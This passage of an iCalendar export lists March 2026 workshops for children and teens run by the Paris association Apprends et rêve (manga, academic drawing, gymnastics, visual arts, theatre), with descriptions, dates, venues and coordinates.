Mangas… \nAvec ce stage\, les ados apprendront les techniques du manga. Comment dessiner un visage? Comment créer le mouvement? Et la perspective? Car dessiner un Manga n’a rien à voir avec le dessin académique ou la réalisation d’une BD. URL:https://apprends-et-reve.fr/activite/deviens-mangaka-6/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Créativité,Manga ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2023/01/Manga-ado.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T140000 DTEND;TZID=Europe/Paris:20260306T163000 DTSTAMP:20260121T154609 CREATED:20260115T112421Z LAST-MODIFIED:20260115T112421Z UID:10021693-1772460000-1772814600@apprends-et-reve.fr SUMMARY:Dessin : deviens un véritable artiste ! DESCRIPTION:Tu rêves de maîtriser le dessin comme un vrai artiste ? Ce stage est conçu pour t’initier aux fondamentaux du dessin académique\, tout en développant ton style et ta précision. \nPendant plusieurs jours\, tu apprendras à : \n\nObserver et reproduire : analyser les formes\, les proportions et les volumes pour les représenter fidèlement.\nMaîtriser les ombres et lumières : donner du relief et de la profondeur à tes dessins grâce au clair-obscur.\nÉtudier les bases du portrait et du corps humain : proportions\, anatomie simplifiée et expressions faciales.\nDessiner d’après nature : objets\, paysages et modèles pour améliorer ton regard artistique.\nTravailler différents outils : crayon\, fusain\, pastel et encre pour enrichir tes créations.\n\nChaque atelier est conçu pour être progressif et concret. Tu commenceras par les bases de l’observation\, puis tu apprendras à appliquer les techniques classiques pour créer des dessins structurés et esthétiques. L’accent est mis sur la rigueur\, la pratique et la patience\, mais toujours dans une ambiance conviviale et motivante. \nÀ la fin du stage\, tu repartiras avec : \n\nUne série de dessins réalisés par toi-même\, montrant tes progrès\nDes techniques solides pour continuer à t’entraîner à la maison\nUne meilleure confiance dans tes capacités d’observation et de reproduction\n\nCe stage est idéal pour tous les ados qui souhaitent apprendre les bases sérieuses du dessin\, progresser rapidement et poser les fondations d’un vrai talent artistique ✏️🎨 URL:https://apprends-et-reve.fr/activite/dessin-deviens-un-veritable-artiste/ LOCATION:TEP Sarrail\, 8 Avenue du Général Sarrail\, Paris\, 75016\, France CATEGORIES:Créativité,Dessin académique ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/09/img_categorie_theme_dessin_academique_home.jpg GEO:48.8457833;2.2559899 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=TEP Sarrail 8 Avenue du Général Sarrail Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=8 Avenue du Général Sarrail:geo:2.2559899,48.8457833 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T143000 DTEND;TZID=Europe/Paris:20260306T170000 DTSTAMP:20260121T154609 CREATED:20250429T083250Z LAST-MODIFIED:20260109T152924Z UID:10015613-1772461800-1772816400@apprends-et-reve.fr SUMMARY:Défier l’apesanteur grâce à la gymnastique DESCRIPTION:Salto\, saut\, grand écart\, enchaînement de figures… Entre acrobatie\, gymnastique et cirque\, ce stage permettra aux enfants de tester leur limite et parfois de se faire peur… en toute sécurité. \nLes enfants apprendront à tester leur corps et à le maîtriser. Ils l’assoupliront tout en le musclant et réaliseront des figures qui leur semblait\, au départ\, impossible. URL:https://apprends-et-reve.fr/activite/defier-lapesanteur-grace-a-la-gymnastique-4/ LOCATION:Gymnase des Bauches\, 14 rue des Bauches\, Paris\, 75016\, France CATEGORIES:Acrobatie / Gymnastique,Activité physique / sportive ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2024/05/Gym-7-12-ans-Depositphotos_175316248_S.jpg GEO:48.8560433;2.2738702 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Gymnase des Bauches 14 rue des Bauches Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=14 rue des Bauches:geo:2.2738702,48.8560433 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T170000 DTEND;TZID=Europe/Paris:20260302T180000 DTSTAMP:20260121T154609 CREATED:20240513T113432Z LAST-MODIFIED:20250505T103249Z UID:10012533-1772470800-1772474400@apprends-et-reve.fr SUMMARY:Art et créativité: les petits artistes se révèlent DESCRIPTION:Donner libre court à son imagination dans la joie\, en explorant les moyens visuels (graphiques et plastiques) pour s’exprimer avec liberté ? Découvrir les artistes et les mouvements artistiques afin de s’en inspirer pour créer son univers personnel\, le plus étendu et le plus riche possible ? C’est l’objectif de notre atelier Arts Plastiques où les enfants ne vont pas apprendre à dessiner\, mais à laisser voguer leur imagination. \nIls apprendront à travailler divers matériaux tels que le papier\, le carton\, le tissu\, la terre\, la laine ou encore le fil de fer. Ils découperont\, colleront\, plieront\, agraferont\, utiliserons de la peinture\, des crayons\, des feutres\, créeront des films\, des installations\, des romans-photos\, des histoires. Bref\, des artistes à part entière! URL:https://apprends-et-reve.fr/activite/art-et-creativite-les-petits-artistes-se-revelent/2026-03-02/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Créativité ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2017/01/creativite.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T170000 DTEND;TZID=Europe/Paris:20260302T180000 DTSTAMP:20260121T154609 CREATED:20250505T100246Z LAST-MODIFIED:20250505T104108Z UID:10015793-1772470800-1772474400@apprends-et-reve.fr SUMMARY:Les petits artistes passent à l’action DESCRIPTION:Pour certains artistes contemporains\, ne pas savoir dessiner est un plus. Il permet à la créativité de s’exprimer plus librement et complètement. \nAvec l’atelier Arts plastiques/créativité\, les enfants ne vont pas apprendre à dessiner mais à laisser voguer leur imagination. Ils vont apprendre à travailler des matériaux aussi divers que la terre\, le fil de fer\, le tissu\, le carton\, le papier\, de la mosaïque\, la laine\, la mousse expansive… Ils utiliseront crayons papier\, crayons de couleur\, feutres\, peinture. Ils découperont\, colleront\, agraferont\, plieront… Ils créeront des histoires\, feront des romans-photos\, des films\, des installations\, mêlant musique\, histoire\, images. \nLes enfants seront des artistes à part entière. URL:https://apprends-et-reve.fr/activite/les-petits-artistes-passent-a-laction-3/2026-03-02/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Arts plastiques / créativité,Créativité ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2022/05/Art-Plastiques-HD-77-scaled.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT BEGIN:VEVENT DTSTART;TZID=Europe/Paris:20260302T170000 DTEND;TZID=Europe/Paris:20260302T183000 DTSTAMP:20260121T154609 CREATED:20201127T094434Z LAST-MODIFIED:20250502T122017Z UID:10011643-1772470800-1772476200@apprends-et-reve.fr SUMMARY:Théâtre: Jouer et vivre DESCRIPTION:Jouer est un personnage avec des amis\, dans la cour de récré ou à la maison\, c’est assez simple. Être en représentation devant les autres\, sur une scène de théâtre\, c’est une autre paire de manches ! Notre atelier permet aux enfants d’apprendre à incarner un personnage\, « exister » sur une scène\, savoir placer sa voix\, raconter une histoire\, dire un texte\, interagir avec les autres. En résumé : être un acteur. Notre atelier s’articule autour d’un échauffement corporel et vocal afin de mettre en marche la machine dramatique des enfants. Des jeux permettent de créer une véritable cohésion de groupe ou de travailler des notions précises. \nLes enfants pourront alors aborder le jeu à partir d’une histoire racontée par l’animateur. Dans cet atelier\, les enfants apprendront à occuper l’espace\, à poser leur voix et à jouer avec les autres. Ensuite\, ils pourront\, grâce à des sketchs\, puis des scènes ou extrait de scènes\, incarner des personnages divers et variés. Et enfin\, ils participeront à la création d’une pièce où chacun tiendra « Son » rôle. URL:https://apprends-et-reve.fr/activite/jouer-et-vivre-2/2026-03-02/ LOCATION:Apprends et rêve\, 69\, rue de l’Assomption\, Paris\, 75016\, France CATEGORIES:Théâtre ATTACH;FMTTYPE=image/jpeg:https://apprends-et-reve.fr/wp-content/uploads/2020/11/AR-gala2019-5theatre_7_12.jpg GEO:48.8536915;2.2782619 X-APPLE-STRUCTURED-LOCATION;VALUE=URI;X-ADDRESS=Apprends et rêve 69 rue de l’Assomption Paris 75016 France;X-APPLE-RADIUS=500;X-TITLE=69\, rue de l’Assomption:geo:2.2782619,48.8536915 END:VEVENT END:VCALENDAR